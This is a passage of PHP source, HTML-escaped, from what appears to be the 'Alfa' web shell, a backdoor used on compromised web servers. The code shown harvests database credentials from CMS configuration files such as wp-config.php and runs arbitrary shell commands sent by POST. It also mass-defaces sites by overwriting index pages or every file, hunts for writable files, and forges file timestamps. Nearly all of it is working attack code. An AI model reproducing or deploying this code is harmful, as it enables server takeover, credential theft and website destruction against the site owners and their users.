size=\"50\" id=\"target\" type=\"text\" name=\"dir\" value=\"'.$GLOBALS&#91;'cwd'].'\">\nExt: &lt;small>&lt;font color=\"red\">&#91; * = all Ext ]&lt;\/font>&lt;\/small> &lt;input id=\"ext\" style=\"text-align:center;\" type=\"text\" name=\"ext\" size=\"5\" value=\"php\">\n&lt;input type=\"submit\" name=\"btn\" value=\" \">&lt;\/div>&lt;\/form>&lt;\/center>&lt;br>';\n$dir = $_POST&#91;'alfa2'];\n$ext = $_POST&#91;'alfa3'];\nif($_POST&#91;'alfa5']=='>>'){\necho __pre();\nAlfa_ConfigGrabber($dir, $ext);\n}\necho '&lt;\/div>';\nalfafooter();\n}\nfunction Alfa_ConfigGrabber($dir, $ext) {\n$pattern = \"#define&#91; ]{0,}\\(&#91; ]{0,}(?:'|\\\")DB_HOST(?:'|\\\")&#91; ]{0,}|define&#91; ]{0,}\\(&#91; ]{0,}(?:'|\\\")DB_HOSTNAME(?:'|\\\")&#91; ]{0,}|config\\&#91;(?:'|\\\")MasterServer(?:'|\\\")\\]\\&#91;(?:'|\\\")password(?:'|\\\")\\]|(?:'|\\\")database(?:'|\\\")&#91; ]{0,}=>&#91; ]{0,}(?:'|\\\")(.*?)(?:'|\\\")|(?:'|\\\")(mysql|database)(?:'|\\\")&#91; ]{0,}=>&#91; ]{0,}array|db_name|db_user|db_pass|db_server|db_host|dbhost|dbname|dbuser|dbpass|database_name|database_user|database_pass|mysql_user|mysql_pass|mysqli_connect|mysql_connect|new&#91; ]{0,}mysqli#i\";\n$db_files = array(\"wp-config.php\",\"configure.php\",\"config.inc.php\",\"configuration.php\",\"config.php\",\"conf.php\",\"dbclass.php\",\"class_core.php\",\"dist-configure.php\", \"settings.php\", \"conf_global.php\", \"db.php\", \"connect.php\", \"confing.db.php\", \"config.db.php\", \"database.php\");\nif(@is_readable($dir)){\n$globFiles = @glob(\"$dir\/*.$ext\");\n$globDirs  = @glob(\"$dir\/*\", GLOB_ONLYDIR);\n$blacklist = array();\nforeach ($globDirs as $dir) {\nif(!@is_readable($dir)||@is_link($dir)) continue;\n@Alfa_ConfigGrabber($dir, $ext);\n}\nforeach ($globFiles as $file){\n$filee = @file_get_contents($file);\nif(preg_match($pattern, $filee)){\necho \"&lt;div>&lt;span>$file&lt;\/span> &lt;a style='cursor:pointer;' onclick=\\\"editor('\".$file.\"','auto','','','','file');\\\">&#91; View file ]&lt;\/a>&lt;\/div>\";\n}\n}\n}\n}\nfunction alfasearcher(){\nalfahead();\necho '&lt;div class=header>&lt;center>&lt;p>&lt;div class=\"txtfont_header\">| Searcher |&lt;\/div>&lt;\/p>&lt;h3>&lt;a href=javascript:void(0) onclick=\"g(\\'searcher\\',null,\\'file\\')\">| Find Readable Or Writable Files | &lt;\/a>&lt;a href=javascript:void(0) onclick=\"g(\\'searcher\\',null,\\'str\\')\">| Find Files By Name | &lt;\/a>&lt;\/h3>&lt;\/center>';\nif(isset($_POST&#91;'alfa1'])&amp;&amp;$_POST&#91;'alfa1']=='file'){\necho '&lt;center>&lt;div class=\"txtfont_header\">| Find Readable Or Writable Files  |&lt;\/div>&lt;br>&lt;br>&lt;form name=\"srch\" onSubmit=\"g(\\'searcher\\',null,\\'file\\',this.filename.value,this.ext.value,this.method.value,\\'>>\\');return false;\" method=\\'post\\'>\n&lt;div class=\"txtfont\">\nMethod: &lt;select style=\"width: 18%;\" onclick=\"alfa_searcher_tool(this.value);\" name=\"method\">&lt;option value=\"files\">Find All Writable Files&lt;\/option>&lt;option value=\"dirs\">Find All Writable Dirs&lt;\/option>&lt;option value=\"all\">Find All Readable And Writable Files&lt;\/option>&lt;\/select>\nDir: &lt;input size=\"50\" id=\"target\" type=\"text\" name=\"filename\" value=\"'.$GLOBALS&#91;'cwd'].'\">\nExt: &lt;small>&lt;font color=\"red\">&#91; * = all Ext ]&lt;\/font>&lt;\/small> &lt;input id=\"ext\" style=\"text-align:center;\" type=\"text\" name=\"ext\" size=\"5\" value=\"php\">\n&lt;input type=\"submit\" name=\"btn\" value=\" \">&lt;\/div>&lt;\/form>&lt;\/center>&lt;br>';\n$dir = $_POST&#91;'alfa2'];\n$ext = $_POST&#91;'alfa3'];\n$method = $_POST&#91;'alfa4'];\nif($_POST&#91;'alfa5']=='>>'){\necho __pre();\nif(substr($dir,-1)=='\/')$dir=substr($dir,0,-1);\nAlfa_Searcher($dir,trim($ext),$method);\n}\n}\nif($_POST&#91;'alfa1']=='str'){\necho '&lt;center>&lt;div class=\"txtfont_header\">| Find Files By Name \/ Find String In Files |&lt;\/div>&lt;br>&lt;br>&lt;form onSubmit=\"g(\\'searcher\\',null,\\'str\\',this.dir.value,this.string.value,\\'>>\\',this.ext.value,this.method.value);return false;\" method=\\'post\\'>\n&lt;div class=\"txtfont\">\nMethod: &lt;select name=\"method\">&lt;option value=\"name\">Find Files By Name&lt;\/option>&lt;option value=\"str\">Find String In Files&lt;\/option>&lt;\/select>\nString: &lt;input type=\"text\" name=\"string\" value=\"\">\nDir: &lt;input size=\"50\" type=\"text\" name=\"dir\" value=\"'.$GLOBALS&#91;'cwd'].'\">\nExt: &lt;small>&lt;font color=\"red\">&#91; * = all Ext ]&lt;\/font>&lt;\/small> &lt;input id=\"ext\" style=\"text-align:center;\" type=\"text\" name=\"ext\" size=\"5\" value=\"php\">\n&lt;input type=\"submit\" name=\"btn\" value=\" \">&lt;\/div>&lt;\/form>&lt;\/center>&lt;br>';\n$dir = $_POST&#91;'alfa2'];\n$string = $_POST&#91;'alfa3'];\n$ext = $_POST&#91;'alfa5'];\nif(!empty($string) AND !empty($dir) AND $_POST&#91;'alfa4'] == '>>'){\necho __pre();\nAlfa_StrSearcher($dir,$string,$ext,$_POST&#91;'alfa6']);\n}\n}\necho '&lt;\/div>';\nalfafooter();\n}\nfunction alfaMassDefacer(){\nalfahead();\nAlfaNum(5,6,7,8,9,10);\necho \"&lt;div class=header>&lt;center>&lt;p>&lt;div class='txtfont_header'>| Mass Defacer |&lt;\/div>&lt;\/p>&lt;form onSubmit=\\\"g('MassDefacer',null,this.massdir.value,this.defpage.value,this.method.value,'>>');return false;\\\" method='post'>\";\necho '&lt;div class=\"txtfont\">Deface Method: &lt;select name=\"method\">&lt;option value=\"index\">Deface Index Dirs&lt;\/option>&lt;option value=\"all\">All Files&lt;\/option>&lt;\/select>\nMass dir: &lt;input size=\"50\" id=\"target\" type=\"text\" name=\"massdir\" value=\"'.htmlspecialchars($GLOBALS&#91;'cwd']).'\">\nDefPage: &lt;input size=\"50\" type=\"text\" name=\"defpage\" value=\"'.htmlspecialchars($GLOBALS&#91;'cwd']).'\">&lt;\/div> &lt;input type=\"submit\" name=\"btn\" value=\" \">&lt;\/center>&lt;\/p>\n&lt;\/form>';\n$dir = $_POST&#91;'alfa1'];\n$defpage = $_POST&#91;'alfa2'];\n$method = $_POST&#91;'alfa3'];\n$fCurrent = $GLOBALS&#91;'__file_path'];\nif($_POST&#91;'alfa4'] == '>>'){\nif(!empty($dir)){\nif(@is_dir($dir)){\nif(@is_readable($dir)){\nif(@is_file($defpage)){\nif($dh = @opendir($dir)){\necho __pre();\nwhile (($file = @readdir($dh)) !== false){\nif($file == '..' || $file == '.')continue;\n$newfile=$dir.$file;\nif($fCurrent == $newfile)continue;\nif(@is_dir($newfile)){\nAlfa_ReadDir($newfile,$method,$defpage);\n}else{\nif(!@is_writable($newfile))continue;\nif(!@is_readable($newfile))continue;\nAlfa_Rewriter($newfile,$file,$defpage,$method);\n}\n}\nclosedir($dh);\n}else{__alert('&lt;font color=\"red\">Error In OpenDir...&lt;\/font>');}\n}else{__alert('&lt;font color=\"red\">DefPage File NotFound...&lt;\/font>');}\n}else{__alert('&lt;font color=\"red\">Directory is not Readable...&lt;\/font>');}\n}else{__alert('&lt;font color=\"red\">Mass Dir is Invalid Dir...&lt;\/font>');}\n}else{__alert('&lt;font color=\"red\">Dir is Empty...&lt;\/font>');}\n}\necho '&lt;\/div>';\nalfafooter();\n}\nfunction Alfa_ReadDir($dir,$method='',$defpage=''){\nif(!@is_readable($dir)) return false;\nif (@is_dir($dir)) {\nif ($dh = @opendir($dir)) {\nwhile(($file=readdir($dh))!==false) {\nif($file == '..' || $file == '.')continue;\n$newfile=$dir.'\/'.$file;\nif(@is_readable($newfile)&amp;&amp;@is_dir($newfile))Alfa_ReadDir($newfile,$method,$defpage);\nif(@is_file($newfile)){\nif(!@is_readable($newfile))continue;\nAlfa_Rewriter($newfile,$file,$defpage,$method);\n}\n}\nclosedir($dh);\n}\n}\n}\nfunction Alfa_Rewriter($dir,$file,$defpage,$m='index'){\nif(!@is_writable($dir)) return false;\nif(!@is_readable($dir)) return false;\n$defpage=@file_get_contents($defpage);\nif($m == 'index'){\n$indexs = array('index.php','index.htm','index.html','default.asp','default.aspx','index.asp','index.aspx','index.js');\nif(in_array(strtolower($file),$indexs)){\n@file_put_contents($dir,$defpage);\necho @is_file($dir)?$dir.\"&lt;b>&lt;font color='red'>DeFaced...&lt;\/b>&lt;\/font>&lt;br>\" : '';\n}\n}elseif($m=='all'){\n@file_put_contents($dir,$defpage);\necho @is_file($dir)?$dir.\"  &lt;b>&lt;font color='red'>DeFaced...&lt;\/b>&lt;\/font>&lt;br>\" : '';\n}\n}\nfunction alfaGetDisFunc(){\nalfahead();\necho '&lt;div class=\"header\">';\n$disfun = @ini_get('disable_functions');\n$s = explode(',',$disfun);\n$f = array_unique($s);\necho '&lt;center>&lt;br>&lt;b>&lt;font color=\"#7CFC00\">Disable Functions&lt;\/font>&lt;\/b>&lt;pre>&lt;table border=\"1\">&lt;tr>&lt;td align=\"center\" style=\"background-color: green;color: white;width:5%\">#&lt;\/td>&lt;td align=\"center\" style=\"background-color: green;color: white;\">Func Name&lt;\/td>&lt;\/tr>';\n$i=1;\nforeach($f as $s){\n$s=trim($s);\nif(function_exists($s)||!is_callable($s))continue;\necho '&lt;tr>&lt;td align=\"center\" style=\"background-color: black;\">'.$i.'&lt;\/td>';\necho '&lt;td align=\"center\" style=\"background-color: black;\">&lt;a style=\"text-decoration: none;\" target=\"_blank\" href=\"http:\/\/php.net\/manual\/en\/function.'.str_replace('_','-',$s).'.php\">&lt;span class=\"disable_functions\">&lt;b>'.$s.'&lt;\/b>&lt;\/span>&lt;\/a>&lt;\/td>';\n$i++;\n}\necho '&lt;\/table>&lt;\/center>';\necho '&lt;\/div>';\nalfafooter();\n}\nfunction Alfa_Create_A_Tag($action,$vals){\n$nulls = array();\nforeach($vals as $key => $val){\necho '&lt;a href=javascript:void(0) onclick=\"g(\\''.$action.'\\',';\nfor($i=1;$i&lt;=$val&#91;1]-1;$i++)$nulls&#91;] = 'null';\n$f = implode(',',$nulls);\necho $f.',\\''.$val&#91;0].'\\');return false;\">| '.$key.' | &lt;\/a>';\nunset($nulls);\n}\n}\nfunction Alfa_Searcher($dir, $ext, $method) {\nif(@is_readable($dir)){\nif($method == 'all')$ext = '*';\nif($method == 'dirs')$ext = '*';\n$globFiles = @glob(\"$dir\/*.$ext\");\n$globDirs  = @glob(\"$dir\/*\", GLOB_ONLYDIR);\n$blacklist = array();\nforeach ($globDirs as $dir) {\nif(!@is_readable($dir)||@is_link($dir)) continue;\n@Alfa_Searcher($dir, $ext, $method);\n}\nswitch($method){\ncase \"files\":\nforeach ($globFiles as $file){\nif(@is_writable($file)){\necho \"$file&lt;br>\";\n}\n}\nbreak;\ncase \"dirs\":\nforeach ($globFiles as $file){\nif(@is_writable(dirname($file)) &amp;&amp; !in_array(dirname($file), $blacklist)){\necho dirname($file).'&lt;br>';\n$blacklist&#91;] = dirname($file);\n}\n}\nbreak;\ncase \"all\":\nforeach ($globFiles as $file){\necho $file.'&lt;br>';\n}\nbreak;\n}\nunset($blacklist);\n}\n}\nfunction AlfaiFrameCreator($f,$width='100%',$height='600px'){\nreturn('&lt;iframe src=\"'.__ALFA_DATA_FOLDER__.\"\/\".$f.'\" width=\"'.$width.'\" height=\"'.$height.'\" frameborder=\"0\">&lt;\/iframe>');\n}\nclass AlfaCURL {\npublic $headers;\npublic $user_agent;\npublic $compression;\npublic $cookie_file;\npublic $proxy;\npublic $path;\npublic $ssl = true;\npublic $curl_status = true;\nfunction __construct($cookies=false,$compression='gzip',$proxy=''){\nif(!extension_loaded('curl')){$curl_status = false;return false;}\n$this->headers&#91;] = 'Accept: image\/gif, image\/x-bitmap, image\/jpeg, image\/pjpeg';\n$this->headers&#91;] = 'Connection: Keep-Alive';\n$this->headers&#91;] = 'Content-type: application\/x-www-form-urlencoded;charset=UTF-8';\n$this->user_agent = 'Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/83.0.4103.61 Safari\/537.36)';\n$this->path = ALFA_TEMPDIR.'\/Alfa_cookies.txt';\n$this->compression=$compression;\n$this->proxy=$proxy;\n$this->cookies=$cookies;\nif($this->cookies)$this->cookie($this->path);\n}\nfunction cookie($cookie_file) {\nif (_alfa_file_exists($cookie_file,false)) {\n$this->cookie_file=$cookie_file;\n}else{\n@fopen($cookie_file,'w') or die($this->error('The cookie file could not be opened.'));\n$this->cookie_file=$cookie_file;\n@fclose($this->cookie_file);\n}\n}\nfunction Send($url,$method=\"get\",$data=\"\"){\nif(!$this->curl_status){return false;}\n$process = curl_init($url);\ncurl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);\ncurl_setopt($process, CURLOPT_HEADER, 0);\ncurl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);\ncurl_setopt($process, CURLOPT_RETURNTRANSFER, 1);\ncurl_setopt($process, CURLOPT_ENCODING , $this->compression);\ncurl_setopt($process, CURLOPT_TIMEOUT, 30);\nif($this->ssl){\ncurl_setopt($process, CURLOPT_SSL_VERIFYPEER ,false);\ncurl_setopt($process, CURLOPT_SSL_VERIFYHOST,false);\n}\nif($this->cookies){\ncurl_setopt($process, CURLOPT_COOKIEFILE, $this->path);\ncurl_setopt($process, CURLOPT_COOKIEJAR, $this->path);\n}\nif($this->proxy){\ncurl_setopt($process, CURLOPT_PROXY, $this->proxy);\n}\nif($method=='post'){\ncurl_setopt($process, CURLOPT_POSTFIELDS, $data);\ncurl_setopt($process, CURLOPT_POST, 1);\ncurl_setopt($process, CURLOPT_HTTPHEADER, array('Content-Type: application\/x-www-form-urlencoded'));\n}\n$return = @curl_exec($process);\ncurl_close($process);\nreturn $return;\n}\nfunction error($error) {\necho \"&lt;center>&lt;div style='width:500px;border: 3px solid #FFEEFF; padding: 3px; background-color: #FFDDFF;font-family: verdana; font-size: 10px'>&lt;b>cURL Error&lt;\/b>&lt;br>$error&lt;\/div>&lt;\/center>\";\ndie;\n}\n}\nfunction getConfigHtml($cms){\n$content = '';\n$cms_array = array(\"wp\" => \"WordPress\", \"vb\" => \"vBulletin\", \"whmcs\" => \"Whmcs\", \"joomla\" => \"Joomla\", \"phpnuke\" => \"PHPNuke\",\"phpbb\"=>\"PHPBB\",\"mybb\"=>\"MyBB\",\"drupal\"=>\"Drupal\",\"smf\"=>\"SMF\");\n$content .= \"&lt;form class='getconfig' onSubmit='g(\\\"GetConfig\\\",null,this.cms.value,this.path.value,this.getAttribute(\\\"base_id\\\"));return false;'>&lt;div class='txtfont'>Cms: &lt;\/div> &lt;select name='cms'style='width:100px;'>\";\nforeach($cms_array as $key => $val){\n$content .= \"&lt;option value='{$key}' \".($key==$cms?'selected=selected':'').\">{$val}&lt;\/option>\";\n}\n$content .= \"&lt;\/select> &lt;div class='txtfont'>Path(installed cms\/Config): &lt;\/div> &lt;input type='text' name='path' value='\".$_SERVER&#91;'DOCUMENT_ROOT'].\"\/' size='30' \/> &lt;button class='button'>GetConfig&lt;\/button>\";\n$content .= \"&lt;\/form>\";\nreturn $content;\n}\nif (!function_exists('json_encode')){\nfunction json_encode($a=false){\nif (is_null($a)) return 'null';\nif ($a === false) return 'false';\nif ($a === true) return 'true';\nif (is_scalar($a))\n{\nif (is_float($a))\n{\nreturn floatval(str_replace(\",\", \".\", strval($a)));\n}\n\nif (is_string($a))\n{\nstatic $jsonReplaces = array(array(\"\\\\\", \"\/\", \"\\n\", \"\\t\", \"\\r\", \"\\b\", \"\\f\", '\"'), array('\\\\\\\\', '\\\\\/', '\\\\n', '\\\\t', '\\\\r', '\\\\b', '\\\\f', '\\\"'));\nreturn '\"' . str_replace($jsonReplaces&#91;0], $jsonReplaces&#91;1], $a) . '\"';\n}\nelse\nreturn $a;\n}\n$isList = true;\nfor ($i = 0, reset($a); $i &lt; count($a); $i++, next($a))\n{\nif (key($a) !== $i)\n{\n$isList = false;\nbreak;\n}\n}\n$result = array();\nif ($isList)\n{\nforeach ($a as $v) $result&#91;] = json_encode($v);\nreturn '&#91;' . join(',', $result) . ']';\n}\nelse\n{\nforeach ($a as $k => $v) $result&#91;] = json_encode($k).':'.json_encode($v);\nreturn '{' . join(',', $result) . '}';\n}\n}\n}\nif ( !function_exists('json_decode') ){\nfunction json_decode($json, $array=true){\n$comment = false;\n$out = '$x=';\nfor ($i=0; $i&lt;strlen($json); $i++)\n{\nif (!$comment)\n{\nif ($json&#91;$i] == '{' || $json&#91;$i] == '&#91;'){$out .= ' array(';}\nelse if ($json&#91;$i] == '}' || $json&#91;$i] == ']'){$out .= ')';}\nelse if ($json&#91;$i] == ':'){$out .= '=>';}\nelse {$out .= $json&#91;$i];}\n}\nelse $out .= $json&#91;$i];\nif ($json&#91;$i] == '\"')$comment = !$comment;\n}\neval($out . ';');\nreturn $x;\n}\n}\nfunction alfaterminalExec(){\n$pwd = \"pwd\";\n$seperator = \";\";\nif($GLOBALS&#91;'sys']!='unix'){\n$pwd = \"cd\";\n$seperator = \"&amp;\";\n}\nif($GLOBALS&#91;\"glob_chdir_false\"]&amp;&amp;!empty($_POST&#91;\"c\"])){$cmd = \"cd '\".addslashes($_POST&#91;\"c\"]).\"'\".$seperator;}\n$current_path = '';\nif(preg_match(\"\/cd&#91; ]{0,}(.*)&#91; ]{0,}\".$seperator.\"|cd&#91; ]{0,}(.*)&#91; ]{0,}\/i\", $_POST&#91;'alfa1'], $match)){\nif(empty($match&#91;1])){\n$match&#91;1] = $match&#91;2];\n}\n$current_path = alfaEx(\"cd \".addslashes($match&#91;1]).$seperator.$pwd);\n$current_path = str_replace(\"\\\\\", \"\/\", $current_path);\n}\n$out = alfaEx($cmd.$_POST&#91;'alfa1'], true);\n$out = htmlspecialchars($out);\necho json_encode(array(\"output\" => convertBash($out), \"path\" => $current_path));\n}\nfunction convertBash($code) {\n$dictionary = array(\n'&#91;01;30m' => '&lt;span style=\"color:black\">',\n'&#91;01;31m' => '&lt;span style=\"color:red\">',\n'&#91;01;32m' => '&lt;span style=\"color:green\">',\n'&#91;01;33m' => '&lt;span style=\"color:yellow\">',\n'&#91;01;34m' => '&lt;span style=\"color:blue\">',\n'&#91;01;35m' => '&lt;span style=\"color:purple\">',\n'&#91;01;36m' => '&lt;span style=\"color:cyan\">',\n'&#91;01;37m' => '&lt;span style=\"color:white\">',\n'&#91;0m'   => '&lt;\/span>'\n);\n$htmlString = str_replace(array_keys($dictionary), $dictionary, $code);\nreturn $htmlString;\n}\nfunction alfadoActions(){\n$chdir_fals = false;\nif(!@chdir($_POST&#91;'c'])){\n$chdir_fals = true;\n$alfa_canruncmd = _alfa_can_runCommand(true,true);\n}\nif(isset($_POST&#91;'alfa1']))$_POST&#91;'alfa1'] = rawurldecode($_POST&#91;'alfa1']);\nif(isset($_POST&#91;'alfa2']))$_POST&#91;'alfa2'] = rawurldecode($_POST&#91;'alfa2']);\n$action = $_POST&#91;\"alfa3\"];\nif($action == \"permission\"){\n$perms = 0;\n$perm = $_POST&#91;\"alfa2\"];\nfor($i=strlen($perm)-1;$i>=0;--$i){\n$perms += (int)$perm&#91;$i]*pow(8, (strlen($perm)-$i-1));\n}\nif(@chmod($_POST&#91;'alfa1'], $perms)){\necho(\"done\");\n}else{\necho(\"no\");\n}\nreturn;\n}\nif($action == \"rename\" || $action == \"move\"){\n$alfa1_decoded = $_POST&#91;'alfa1'];\nif($chdir_fals){\n$_POST&#91;'alfa1'] = $_POST&#91;\"c\"].\"\/\".$_POST&#91;\"alfa1\"];\n}\n$_POST&#91;'alfa1'] = trim($_POST&#91;'alfa1']);\n$alfa1_escape = addslashes($_POST&#91;\"alfa1\"]);\nif($_POST&#91;\"alfa3\"] == \"rename\"){\n$_POST&#91;'alfa2'] = basename($_POST&#91;'alfa2']);\n}\nif(!empty($_POST&#91;'alfa2'])){\n$cmd_rename = false;\nif($chdir_fals&amp;&amp;$alfa_canruncmd){\nif(_alfa_is_writable($_POST&#91;'alfa1'])){\n$cmd_rename = true;\n$alfa1_escape = addslashes($alfa1_decoded);\nalfaEx(\"cd '\".addslashes($_POST&#91;'c']).\"';mv '\".$alfa1_escape.\"' '\".addslashes($_POST&#91;'alfa2']).\"'\");\n}\n}\nif(!file_exists($_POST&#91;'alfa2'])){\nif(@rename($_POST&#91;'alfa1'], $_POST&#91;'alfa2'])||$cmd_rename){\necho \"done\";\n}else{\necho \"no\";\n}\n}else{\necho \"no\";\n}\n}\n}elseif($action == \"copy\"){\nif(is_dir($_POST&#91;\"alfa1\"])){\n$dir = str_replace('\/\/', '\/', $_POST&#91;\"alfa1\"]);\n$dir = explode('\/', $dir);\nif(empty($dir&#91;count($dir) - 1])){\n$name = $dir&#91;count($dir) - 2];\n}else{\n$name = $dir&#91;count($dir) - 1];\n}\n}else{\n$name = basename($_POST&#91;\"alfa1\"]);\n}\n$dir = dirname($_POST&#91;\"alfa1\"]);\nif($dir == \".\"){\n$dir = $_POST&#91;\"c\"].\"\/\";\n}\nif(is_file($_POST&#91;\"alfa1\"])){\n@copy($_POST&#91;\"alfa1\"], $_POST&#91;\"alfa2\"]);\necho(\"done\");\n}elseif(is_dir($_POST&#91;\"alfa1\"])){\nif(!is_dir($_POST&#91;\"alfa2\"])){\nmkdir($_POST&#91;\"alfa2\"], 0755, true);\n}\ncopy_paste($dir, $name , $_POST&#91;\"alfa2\"] . \"\/\");\necho(\"done\");\n}\n}elseif($action == \"modify\"){\nif( !empty($_POST&#91;'alfa1']) ) {\n$time = strtotime($_POST&#91;'alfa1']);\nif($time){\n$touched = false;\nif($chdir_fals&amp;&amp;$alfa_canruncmd){\nalfaEx(\"cd '\".addslashes($_POST&#91;\"c\"]).\"';touch -d '\".htmlspecialchars(addslashes($_POST&#91;'alfa1'])).\"' '\".addslashes($_POST&#91;'alfa2']).\"'\");\n$touched = true;\n}\nif(!@touch($_POST&#91;'alfa2'],$time,$time)&amp;&amp;!$touched){\necho 'no';\n}else{\necho 'ok';\n}\n} else{\n echo 'badtime';\n}\n}\n}\n\n}\nfunction alfaget_flags(){\n$flags = array();\nif(function_exists(\"curl_version\")){\n$curl = new AlfaCURL();\n$server_addr = (!@$_SERVER&#91;\"SERVER_ADDR\"]?(function_exists(\"gethostbyname\")?@gethostbyname($_SERVER&#91;'SERVER_NAME']):'????'):@$_SERVER&#91;\"SERVER_ADDR\"]);\n$flag = $curl->Send(\"http:\/\/www.geoplugin.net\/json.gp?ip=\" . $server_addr);\n$flag2 = $curl->Send(\"http:\/\/www.geoplugin.net\/json.gp?ip=\" . $_SERVER&#91;\"REMOTE_ADDR\"]);\nif(strpos($flag2, \"geoplugin\") != false){\n$flag = json_decode($flag, true);\n$flag2 = json_decode($flag2, true);\nif(!empty($flag&#91;'geoplugin_countryCode'])){\n$flags&#91;\"server\"]&#91;\"name\"] = $flag&#91;'geoplugin_countryName'];\n$flags&#91;\"server\"]&#91;\"code\"] = $flag&#91;'geoplugin_countryCode'];\n}\nif(!empty($flag2&#91;'geoplugin_countryCode'])){\n$flags&#91;\"client\"]&#91;\"name\"] = $flag2&#91;'geoplugin_countryName'];\n$flags&#91;\"client\"]&#91;\"code\"] = $flag2&#91;'geoplugin_countryCode'];\n}\n}\n}\necho json_encode($flags);\n}\nfunction alfaGetConfig(){\n$cms = $_POST&#91;'alfa1'];\n$path = trim($_POST&#91;'alfa2']);\n$config = array(\n'wp'=>array('file'=>'\/wp-config.php',\n'host'=>array(\"\/define&#91; ]{0,}\\(&#91; ]{0,}(?:'|\\\")DB_HOST(?:'|\\\")&#91; ]{0,},&#91; ]{0,}(?:'|\\\")(.*?)(?:'|\\\")&#91; ]{0,}\\)&#91; ]{0,};\/\",1),\n'dbname'=>array(\"\/define&#91; ]{0,}\\(&#91; ]{0,}(?:'|\\\")DB_NAME(?:'|\\\")&#91; ]{0,},&#91; ]{0,}(?:'|\\\")(.*?)(?:'|\\\")&#91; ]{0,}\\)&#91; ]{0,};\/\",1),\n'dbuser'=>array(\"\/define&#91; ]{0,}\\(&#91; ]{0,}(?:'|\\\")DB_USER(?:'|\\\")&#91; ]{0,},&#91; ]{0,}(?:'|\\\")(.*?)(?:'|\\\")&#91; ]{0,}\\)&#91; ]{0,};\/\",1),\n'dbpw'=>array(\"\/define&#91; ]{0,}\\(&#91; ]{0,}(?:'|\\\")DB_PASSWORD(?:'|\\\")&#91; ]{0,},&#91; ]{0,}(?:'|\\\")(.*?)(?:'|\\\")&#91; ]{0,}\\)&#91; ]{0,};\/\",1),\n'prefix'=>array(\"\/table_prefix&#91; ]{0,}=&#91; ]{0,}(?:'|\\\")(.*?)(?:'|\\\")&#91; ]{0,};\/\",1)\n),\n'drupal'=>array('file'=>'\/config.php',\n'host'=>array(\"\/define&#91; ]{0,}\\(&#91; ]{0,}(?:'|\\\")DB_HOSTNAME(?:'|\\\")&#91; ]{0,},&#91; ]{0,}(?:'|\\\")(.*?)(?:'|\\\")&#91; ]{0,}\\)&#91; ]{0,};\/\",1),\n'dbname'=>array(\"\/define&#91; ]{0,}\\(&#91; ]{0,}(?:'|\\\")DB_DATABASE(?:'|\\\")&#91; ]{0,},&#91; ]{0,}(?:'|\\\")(.*?)(?:'|\\\")&#91; ]{0,}\\)&#91; ]{0,};\/\",1),\n'dbuser'=>array(\"\/define&#91; ]{0,}\\(&#91; ]{0,}(?:'|\\\")DB_USERNAME(?:'|\\\")&#91; ]{0,},&#91; ]{0,}(?:'|\\\")(.*?)(?:'|\\\")&#91; ]{0,}\\)&#91; ]{0,};\/\",1),\n'dbpw'=>array(\"\/define&#91; ]{0,}\\(&#91; ]{0,}(?:'|\\\")DB_PASSWORD(?:'|\\\")&#91; ]{0,},&#91; ]{0,}(?:'|\\\")(.*?)(?:'|\\\")&#91; ]{0,}\\)&#91; ]{0,};\/\",1),\n'prefix'=>array(\"\/define&#91; ]{0,}\\(&#91; ]{0,}(?:'|\\\")DB_PREFIX(?:'|\\\")&#91; ]{0,},&#91; ]{0,}(?:'|\\\")(.*?)(?:'|\\\")&#91; ]{0,}\\)&#91; ]{0,};\/\",1)\n),\n'drupal2'=>array('file'=>'\/sites\/default\/settings.php',\n'host'=>array(\"\/(?:'|\\\")host(?:'|\\\")&#91; ]{0,}=>&#91; ]{0,}(?:'|\\\")(.*?)(?:'|\\\")&#91; ]{0,},\/\",1),\n'dbname'=>array(\"\/(?:'|\\\")database(?:'|\\\")&#91; ]{0,}=>&#91; ]{0,}(?:'|\\\")(.*?)(?:'|\\\")&#91; ]{0,},\/\",1),\n'dbuser'=>array(\"\/(?:'|\\\")username(?:'|\\\")&#91; ]{0,}=>&#91; ]{0,}(?:'|\\\")(.*?)(?:'|\\\")&#91; ]{0,},\/\",1),\n'dbpw'=>array(\"\/(?:'|\\\")password(?:'|\\\")&#91; ]{0,}=>&#91; ]{0,}(?:'|\\\")(.*?)(?:'|\\\")&#91; ]{0,},\/\",1),\n'prefix'=>array(\"\/(?:'|\\\")prefix(?:'|\\\")&#91; ]{0,}=>&#91; ]{0,}(?:'|\\\")(.*?)(?:'|\\\")&#91; ]{0,},\/\",1)\n),\n'vb'=>array('file'=>'\/includes\/config.php',\n'host'=>array(\"\/config\\&#91;(?:'|\\\")MasterServer(?:'|\\\")\\]\\&#91;(?:'|\\\")servername(?:'|\\\")\\](\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\")&#91; ]{0,};\/\",3),\n'dbuser'=>array(\"\/config\\&#91;(?:'|\\\")MasterServer(?:'|\\\")\\]\\&#91;(?:'|\\\")username(?:'|\\\")\\](\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\")&#91; ]{0,};\/\",3),\n'dbname'=>array(\"\/config\\&#91;(?:'|\\\")Database(?:'|\\\")\\]\\&#91;(?:'|\\\")dbname(?:'|\\\")\\](\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\")&#91; ]{0,};\/\",3),\n'dbpw'=>array(\"\/config\\&#91;(?:'|\\\")MasterServer(?:'|\\\")\\]\\&#91;(?:'|\\\")password(?:'|\\\")\\](\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\")&#91; ]{0,};\/\",3),\n'prefix'=>array(\"\/config\\&#91;(?:'|\\\")Database(?:'|\\\")\\]\\&#91;(?:'|\\\")tableprefix(?:'|\\\")\\](\\s+)=(\\s+)(?:'|\\\")(.*?)(?:'|\\\")&#91; 